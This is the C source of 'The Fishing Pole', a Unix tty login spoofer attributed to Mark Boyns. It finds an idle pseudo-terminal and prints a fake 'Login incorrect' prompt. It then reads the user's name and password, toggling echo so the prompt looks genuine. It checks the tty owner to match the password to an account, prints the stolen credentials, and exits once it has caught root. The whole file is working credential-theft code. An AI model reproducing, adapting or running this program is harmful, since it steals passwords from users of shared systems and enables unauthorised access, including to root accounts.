/******************************************************************************
*
*    The Fishing Pole  --  "Fun at the old fishin' hole"
*
*    Written by Mark Boyns
*
*/

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <pwd.h>
#include <signal.h>
#include <errno.h>
#include <stdio.h>

#define  BEL             0x7 
#define  CASTAGAIN       10
#define  IDTOLERANCE     30
#define  SLEEPIFFULL     30
#define  DONTLIKEDELAY   5
#define  SLEEPISTOOFAST  3
#define  ISTOOFAST       1
#define  LOGDELAY        1 

int  pondopen = 0;
char current[8];
char *tty = "pqr", *tp;
char *num = "0123456789abcdef", *np;
char *bad = "p1p6", *bp;  /* bad ones */
char *dev = "tty??";
int  checkponds(), badfish();
char *findspot(), *index();
extern int errno;

main()
{
   chdir("/dev");
   
   for(;;) {
      if (strcpy(current, findspot()) != 0) {
         fprintf(stderr, "Tryin' here: %s\n", current);
         gofish(current);
      }
      else {
         write(2, "Damn, no room for me!\n", 22);
         sleep(SLEEPIFFULL);
      }
   }
}

char *findspot()
{
   int  isbad = 0, found = 0;
   struct stat s;
   
   for(tp = tty; !found && *tp != '\0'; tp++) { 
      *(dev + 3) = *tp;
      for(np = num; !found && *np != '\0'; np++) {
         for(bp = bad, isbad = 0; !isbad && *bp != '\0'; bp+=2) 
            isbad = (*bp == *tp && *(bp+1) == *np);
         if (isbad) continue;
         *(dev + 4) = *np;
         (void) stat(dev, &s);
         found = (s.st_gid == 0);
      }
   }

   if (found) 
      return(dev);
   else
      return(0);
}

gofish(d)
   char *d;
{
   char buf[128];
   char pbuf[128];
   char *c;
   struct stat st;
   struct passwd *pw;
   struct sgttyb sg;
   int tolerance = IDTOLERANCE;
   int casts = 1;
   int fd, x, r;

   signal(SIGALRM, checkponds);
   write(2, "casting", 7);

   for(;;) {
      alarm(CASTAGAIN);
      write(2, ".", 1);
      fd = open(d, O_RDWR, 0);
      if (fd != -1) {
         alarm(0);
         if (casts == ISTOOFAST) {
            write(2, "too fast for me!\n", 17);
            sleep(SLEEPISTOOFAST);
            return;
         }
         break;
      }
      if (pondopen) return;
      casts++;
   }

   fprintf(stderr, "%cgot a nibble...", BEL);

   r = read(fd, pbuf+1, 128);
   for(x = 0; x < r; x++) 
      if (pbuf[1+x] == '/') break;
   if (x < r) {
      close(fd);
      fprintf(stderr, "<%s> I don't like dat fish!\n", pbuf+1);
      sleep(DONTLIKEDELAY);
      return; 
   }
   ioctl(fd, TIOCGETP, &sg);
   sg.sg_flags |= ECHO; 
   ioctl(fd, TIOCSETP, &sg);
   sleep(LOGDELAY);
   write(fd, "\nLogin incorrect\n", 17);
   write(2, "reelin' in...", 13);
   do {
      write(fd, "login: ", 7);
      read(fd, buf, 128);
   } while(*buf == '\n');
   sg.sg_flags &= ~ECHO;
   ioctl(fd, TIOCSETP, &sg);
   write(fd, "Password:", 9);
   while(read(fd, pbuf, 1) != 1);

   c = index(pbuf, '\n');
   if (c != 0) *c = '\0';

   do {
      sleep(1);
      stat(d, &st);
      if (st.st_gid != 0) break;
   } while(--tolerance);

   if (st.st_gid == 0)
      fprintf(stderr, "only a piece...<%s>\n", pbuf);
   else {
      pw = getpwuid(st.st_uid);
      fprintf(stderr, "got 'em...<%s:%s>\n", pw->pw_name, pbuf);
   }

   if (st.st_gid != 0 && st.st_uid == 0) {
      write(2, "I'm outta here!\n", 16);
      exit(0);
   }

   close(fd);
} 

checkponds()
{
   if (strcmp(current, findspot()) != 0) {
      pondopen = 1;
      write(2, "I found me a better spot\n", 25);
   }
   else
      pondopen = 0;
}

int thatfishisbad;

readnb(fd, buf, n, timeout)
   int fd, n, timeout;
   char *buf;
{
   int r;

   thatfishisbad = 0;
   ioctl(fd, FIONBIO, 0);
   signal(SIGALRM, badfish);
   alarm(timeout);
   do {
      r = read(fd, buf, n);
      if (r != -1) {
         alarm(0);
         break;
      }
   } while( !thatfishisbad );
   ioctl(fd, FIONBIO, 0);
   return(r);
}

badfish()
{
   thatfishisbad = 1;
}
